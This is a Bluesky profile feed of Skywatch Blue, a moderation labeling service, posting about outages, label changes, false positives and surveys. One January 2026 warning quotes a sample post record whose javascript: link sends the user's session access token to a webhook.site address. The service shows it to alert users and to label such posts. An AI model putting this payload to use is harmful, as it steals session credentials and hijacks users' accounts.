Sign in

Skywatch Blue

@skywatch.blue
5.7K followers 36 following 854 posts

Independent Labeling Service | Not able to perform takedowns. Not associated with SkySentry.

PostsRepliesMedia
Skywatch Blue @skywatch.blue · 20/09/2026
Hi folks, for about an hour and a half this morning, a couple of new rules had a mistake in their logic, resulting in a few thousand labels being emitted that should not have been. We are in the process of reversing these labels. Thank you for your patience.
2213
Skywatch Blue @skywatch.blue · 10/09/2026
And we're back up. Thank you for bearing with us while we migrated our backend off of Digital Ocean.
4605
Skywatch Blue @skywatch.blue · 10/09/2026
Hi folks, we're going to be offline for a bit this evening while we migrate our hosting. You may have trouble reporting during that period, but we will be back online before long.
0182
Reposted by Skywatch Blue
Juliet Shen @julietshen.online · 22/08/2026
introducing my @atproto.nyc hack project: troposphere (the layer at which birds fly) it's a viable alternative to Ozone that's designed to work with Coop, so you can use Coop's UI for review queues, case management, automatic actions, auditing, metrics, and child safety! github.com/julietshen/t...
github.com
GitHub - julietshen/troposphere: A self-hostable alternative to Ozone designed to work with Coop
A self-hostable alternative to Ozone designed to work with Coop - julietshen/troposphere
59118
Reposted by Skywatch Blue
Ariel M. (she/her) @byarielm.fyi · 13/08/2026
step 1: @moderation.blacksky.app (hide rude, seriously, complaints about it are wrong) @moderation.blacksky.app @skywatch.blue @moderation.northsky.social @stechlab-labels.bsky.social @aimod.social soon: @neatopause.tngl.sh (will target bots first) you can report accounts to any of them.
22610
Skywatch Blue @skywatch.blue · 03/08/2026
Just a note that if you use the TERF label, you should also use the intolerance label, as that catches far more folks for transphobia.
1345
Skywatch Blue @skywatch.blue · 17/06/2026
Alright, we should be back up and running. Thank you for your patience!
1121
Skywatch Blue @skywatch.blue · 16/06/2026
Hi all! Skywatch automation is currently down as we deal with some scaling issues. We hope to have it back up in short order, but in the meantime, you may see content that is typically labeled on your timeline. Our apologies for the inconvenience.
1142
Skywatch Blue @skywatch.blue · 10/06/2026
We would like to raise two proposals to our users. The first, is the depreciation of the "Disinformation Network Label". This label is confusing in combination with fringe media and we are proposing depreciation:
userinput.app
userinput.app
Collect feedback: post ideas, vote on what matters, and watch them go from planned to shipped.
5287
Skywatch Blue @skywatch.blue · 11/05/2026
We appreciate that there are apparently quite a few german speaking accounts which follow us, but regretfully, we don't have the language or cultural competency to label accounts and posts that are in German, or pertain to German politics at this time.
1221
Reposted by Skywatch Blue
Juliet Shen @julietshen.online · 04/05/2026
This is so cool - @skywatch.blue wrote up how Skywatch uses Osprey and why Osprey is helpful. Huge thanks for open sourcing some Osprey tools! Osprey sidebars for batch analysis: github.com/skywatch-bsk... Claude skills to use with Osprey: github.com/skywatch-bsk... github.com/roostorg/osp...
github.com
How Skywatch uses Osprey · roostorg osprey · Discussion #244
@julietshen had requested that I draft something on how Skywatch uses Osprey, so I've put together a quick summary and shared it here. In addition, I've linked the various sidecar modules that we u...
25118
Skywatch Blue @skywatch.blue · 07/04/2026
Fixed a broken rule and we should catch the accounts reposting 100s of users in a go now.
6351
Skywatch Blue @skywatch.blue · 30/03/2026
Folks: Please stop reporting @attie.ai. This is out of scope for us.
212019
Reposted by Skywatch Blue
bryan newbold @bnewbold.net · 25/03/2026
PDS hosters: folks should not have PDS_INVITE_REQUIRED=false in their config unless they know what they are doing. at a minimum you need CAPTCHAs on all signup routes, to block/disable the createAccount API flow, etc. we know this should be smoother.
713221
Reposted by Skywatch Blue
Bailey Townsend 🦀 @pds.dad · 20/03/2026
I've realized I've been telling PDS admins how they can tackle these spam accounts from being created on their PDS, but just realized I never explained that as the end user, YOU can also hide them from your views with @skywatch.blue. Wrote how below.
1359
Skywatch Blue @skywatch.blue · 18/03/2026
Been inundated by spam / scammer accounts lately? We've recently added some labels to help clarify why accounts get labeled: Bulk Following, Engagement Abuse / Hacking and Spam. We also encourage you to use our Platform Manipulation label!
33816
Skywatch Blue @skywatch.blue · 17/03/2026
FYI: the automod is currently lagging behind substantially. It’s slowingly catching up, but will probably be another few hours
090
Reposted by Skywatch Blue
Bailey Townsend 🦀 @pds.dad · 10/03/2026
Thank you for running a great labeler! tangled.org/baileytownse...
tangled.org
baileytownsend.dev/label-watcher
PDS Admin tool make it easier to moderate your PDS with labels
161
Skywatch Blue @skywatch.blue · 10/03/2026
Reminder, if you run a PDS, you can tail @skywatch.blue with @baileytownsend.dev's label-watcher, and you can can get alerted when we apply an inauthentic-fundraising, spam, bulk-following, engagement-abuse, or platform-manipulation label to an account on your PDS.
4222
Skywatch Blue @skywatch.blue · 05/03/2026
@nora.zone you haven't been labeled in almost a year, other than the bluesky-elder label.
Bluesky moderation interface titled "Take moderation action." Left panel shows reported user Nora Reed (@nora.zone, they/them ze/hir pronouns) with profile verified checkmark, listing 32,127 followers, 2,061 follows, 109,452 posts. Bio describes user as botmaker, jeweler, queer, kobold, glass wizard, husband haver, capitalism hater. Profile links to jewelry shop and Fediverse account. Status shows "Reviewed" with last review date Oct 24, 2025, 10:08 AM. Labels shown: "bluesky-elder" (red), "rude" (purple). Tags include flag icon and "spam" button. Action buttons: "Acknowledge" dropdown with info icon, text field for "Reason for action (optional)," checkbox for "Acknowledge all open/escalated/appealed reports on subjects created by this user," and submit buttons: "(C)ancel," "(S)ubmit," "Submit & (N)ext." Right panel shows "Moderation history of Account" with timeline of labels: "suspect-inauthentic" removed Apr 27, 2025 7:16 PM by @skywatch.blue; "suspect-inauthentic" added Apr 27, 2025 1:01 PM by @automod.skywatch.blue (imported from external list); "bluesky-elder" added May 11, 2024 7:31 AM and 5:18 AM by @skywatch.blue. "Load more" button visible at bottom.
060
Skywatch Blue @skywatch.blue · 16/02/2026
🫡
0110
Skywatch Blue @skywatch.blue · 15/02/2026
Hi all, we're switching our backend auto moderation platform up. This will allow us to match on more complex patterns and combinations and hopefully increase our accuracy / reduce false positives. In the short term, bear with us as we dial in the new rulesets!
8411
Skywatch Blue @skywatch.blue · 22/01/2026
Stop reporting communists and claiming they're MAGA accounts with absolutely no proof (and no, disagreeing with you does not count as proof).
58613
Skywatch Blue @skywatch.blue · 08/01/2026
Be aware that there are accounts attempting to steal session keys. This particular method won’t work using the Bluesky app for a couple of reasons, but third party apps may be vulnerable to similar attempts. We will attempt to automatically label these as Platform Manipulation.
{
  "$type": "app.bsky.feed.post",
  "createdAt": "2026-01-08T00:11:52.921Z",
  "facets": [
    {
      "features": [
        {
          "$type": "app.bsky.richtext.facet#link",
          "uri": "javascript:fetch('https://webhook.site/your-id?token='+JSON.parse(localStorage.getItem('atproto.session')).accessJwt)"
        }
      ],
      "index": {
        "byteEnd": 100,
        "byteStart": 0
      }
    }
  ],
  "text": "Check this security update!"
}
414180
Skywatch Blue @skywatch.blue · 07/01/2026
We have updated the Sports Betting label to “Sports Betting and Prediction Markets”. Posts containing links to prediction markets such as Kalshi and Polymarket will now be labeled and can be muted by toggling your labeler preferences.
0334
Skywatch Blue @skywatch.blue · 11/12/2025
And we're back, thank you for your patience!
1111
Skywatch Blue @skywatch.blue · 11/12/2025
Hi all, our backend is down and we're not sure why, so if you're receiving errors with appears and reporting, that's why. More updates as we figure out what broke.
1121
Reposted by Skywatch Blue
Juliet Shen @julietshen.online · 26/11/2025
some might know how @roost.tools is approaching open safety tool development, but many more may not! @annebdh.bsky.social lays it all out here, including our governance structure, how people can get involved, and how working in the open doesn't mean more abuse! roost.tools/blog/open-by...
roost.tools
Open by Design: ROOST's Approach to Safety Tool Development
Robust Open Online Safety Tools or ROOST is a new non-profit entity designed to address the urgent need for accessible, high-quality safety tools in the rapidly evolving digital landscape.
1117
Skywatch Blue @skywatch.blue · 19/11/2025
We've introduced a new label and associated blocklist: Intolerance. We have also depreciated the Dehumanizing Rhetoric and Discriminatory Language labels in favor of this one, which will capture a broader swath of behavior that users want out of their timelines.
Moderation settings interface for "Intolerance" label. The description explains the label is applied to posts that espouse discriminatory views, stereotypes, identity-based attacks, dehumanizing rhetoric, or hate speech targeting race, ethnicity, religion, nationality, sexual orientation, or gender. The interface provides options to set the label to "Off", "Warn", or "Hide".
3358
Skywatch Blue @skywatch.blue · 13/11/2025
A general reminder that the labels do what they say on the box. There are very few new false positives being added to the MAGA list and most folks are discovering accounts that were labeled months ago that have not yet been discovered.
Moderation settings interface showing options for labeling content related to MAGA (Make America Great Again), Trump 2024, and Trump-associated figures. The interface provides options to set the label to "Off", "Warn", or "Hide", with a description explaining the types of content that would trigger this label.
4172
Skywatch Blue @skywatch.blue · 04/11/2025
Just an update here: We're currently going through all the lists and labeled accounts to remove as many false positives as we can detect. This is a slow and tedious process which will likely continue for the next week or so.
9405
Skywatch Blue @skywatch.blue · 01/11/2025
A general reminder. We do this for a good reason. Please read: Whitney Philips' "The Oxygen of Amplification"
datasociety.net
The Oxygen of Amplification
New Data & Society report recommends editorial “better practices” for reporting on online bigots and manipulators; interviews journalists on accidental amplification of extreme agendas
0266
Reposted by Skywatch Blue
ROOST @roost.tools · 28/10/2025
Looking forward to a great panel tomorrow at the @parispeaceforum.bsky.social Forum, hosted by ROOST President, @camillefrancois.bsky.social. Stay tuned for more! #onlinesafety #AI #AItransparency #opensource #trustandsafety #techforgood
1217
Skywatch Blue @skywatch.blue · 25/10/2025
Today’s the last chance to give us your thoughts! Fill out the Skywatch Survey!
3115
Skywatch Blue @skywatch.blue · 23/10/2025
Skywatch was mentioned in this week's Connected Places by @laurenshof.online. We're grateful for the mention and for anyone more widely interested in what's currently going on in the ATProto Community and Fediverse, we can't say enough nice things about Laurens' writing! Check it out!
connectedplaces.leaflet.pub
ATmosphere Report #139 Link bag - politics, atproto, and some more links - Connected Places
0255
Reposted by Skywatch Blue
Skywatch Blue @skywatch.blue · 19/10/2025
5) If you haven’t yet, please take the Skywatch User Survey! We will run it for another week!
forms.gle
Skywatch Survey
Skywatch thrives on community input and exists to make Bluesky a better place for you. Please complete the short user survey below to help us improve the Skywatch User Experience
3145
Skywatch Blue @skywatch.blue · 19/10/2025
Hi all, a few updates. 1) We have refined the allowlisting of the MAGA label to catch fewer false positives, but the labeling criteria being what it is this will never be perfect. We are working through appeals but also dealing with a significant uptick in legitimate reports.
13321
Reposted by Skywatch Blue
Immigrant Punk @porcupunk.eurosky.social · 15/10/2025
We all hate surveys but some are actually important and useful. If you are using Skywatch, take 10 minutes to respond and if you are not, why not may I ask?
153
Reposted by Skywatch Blue
Skywatch Blue @skywatch.blue · 14/10/2025
Do you use Skywatch? Have you previously used Skywatch? Have you heard of Skywatch? If you answered yes to any of these questions, we'd love to hear from you and have put together a short survey. Please fill it out to help us figure out how to better serve our users!
forms.gle
Skywatch Survey
Skywatch thrives on community input and exists to make Bluesky a better place for you. Please complete the short user survey below to help us improve the Skywatch User Experience
08446
Skywatch Blue @skywatch.blue · 14/10/2025
Do you use Skywatch? Have you previously used Skywatch? Have you heard of Skywatch? If you answered yes to any of these questions, we'd love to hear from you and have put together a short survey. Please fill it out to help us figure out how to better serve our users!
forms.gle
Skywatch Survey
Skywatch thrives on community input and exists to make Bluesky a better place for you. Please complete the short user survey below to help us improve the Skywatch User Experience
08446
Skywatch Blue @skywatch.blue · 13/10/2025
Hi all, we are aware of the increase in false positives related to the MAGA label. We are working on adjusting the auto labeling criteria. While we make a good faith effort to handle negation, the label does what it says on the box, and we may miss some uses cases as they become more prevalent.
MAGA
Username and / or description which includes MAGA, MAHA, TRUMP, or TRUMP 2024, or posts with #MAGA and #TRUMP2024 hashtags or clear indicators of support for Trump. Also labels Trump associated figures (MTG, RFK Jr., his children, etc.)
6354
Skywatch Blue @skywatch.blue · 04/10/2025
We should be back up, and it looks like the issue did not prevent reports from coming in. Apologies for any inconvenience.
3100
Skywatch Blue @skywatch.blue · 04/10/2025
Skywatch's backend is down today. We're currently troubleshooting, but if you make an report or an appeal, be aware that you may need to repeat the action once we've fixed it.
0161
Reposted by Skywatch Blue
Scoiattolo @scarnecchia.net · 02/10/2025
Look, I'm not interested in debating Jay's post, but you should be pointing out who these people are because @skywatch.blue will absolutely help deal with the problem and @asukafield.xyz will help deal with the problem.
57411
Skywatch Blue @skywatch.blue · 27/09/2025
Working on upgrading the language detection tooling to something slightly better in the hopes French speakers don't keep getting got by the "contains-slur" label.
3192
Skywatch Blue @skywatch.blue · 16/08/2025
Hi all, we're aware that there is a specific PDS that has been set-up to aggressively spam replies and had managed to evade our labeler. We've resolved the issue and are replaying the last 24 hours of the firehose to label them accordingly.
13433
Skywatch Blue @skywatch.blue · 18/07/2025
Hi all: the relative merits of any given article in a source widely understood to be fringe media or a purveyor of disinformation is largely irrelevent, we are labeling based on the quality of the overall site and do not make exceptions.
0310
Reposted by Skywatch Blue
ROOST @roost.tools · 16/07/2025
Are YOU attending #TrustCon 2025? ROOST's Head of Product @julietshen.bsky.social will be participating in several sessions next week, including "Trust the Mods!" a workshop on best practices for content review systems on July 21st at 11:00 am PT. Learn more here: www.trustcon.net/event/0f932a...
Speaker graphic - Juliet Shen (TrustCon 2025)
0144
Skywatch Blue @skywatch.blue · 10/07/2025
We will be reducing the number of labels we offer to just those which do not require substantial moderator input to apply.
1317
Skywatch Blue @skywatch.blue · 09/07/2025
We have made the decision to delete the block list associated with the Suspected Inauthentic label. The nature of how lists work on bluesky and the scale of that list (80K+ accounts) was making it difficult to remove accounts from other block lists.
4271